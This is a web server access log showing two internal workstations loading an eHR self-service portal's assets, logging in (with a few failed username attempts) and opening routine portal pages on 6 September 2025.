192.168.11.197 - - [06/Sep/2025:13:08:51 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.197 - - [06/Sep/2025:13:08:52 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.197 - - [06/Sep/2025:13:08:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:08:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.197 - - [06/Sep/2025:13:08:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.197 - - [06/Sep/2025:13:09:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.197 - - [06/Sep/2025:13:09:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.197 - - [06/Sep/2025:13:09:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:10 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658
192.168.11.197 - - [06/Sep/2025:13:09:10 +0800] "GET /eHR/js/functions.js HTTP/1.1" 200 11658 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:09:10 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.197 - - [06/Sep/2025:13:09:10 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.68 - - [06/Sep/2025:13:09:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.68 - - [06/Sep/2025:13:09:36 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:38 +0800] "GET /eHR/img/error.png HTTP/1.1" 200 701
192.168.11.68 - - [06/Sep/2025:13:09:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:09:42 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:42 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003
192.168.11.68 - - [06/Sep/2025:13:09:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:09:50 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003
192.168.11.68 - - [06/Sep/2025:13:09:50 +0800] "GET /eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist. HTTP/1.1" 200 9003 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:50 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHS&companyno=3913&loginerror=The+user+name+does+not+exist." "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:50 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess HTTP/1.1" 301 241
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826
192.168.11.68 - - [06/Sep/2025:13:09:54 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:01 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.68 - - [06/Sep/2025:13:10:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.68 - - [06/Sep/2025:13:10:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.68 - - [06/Sep/2025:13:10:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.68 - - [06/Sep/2025:13:10:10 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.68 - - [06/Sep/2025:13:10:10 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
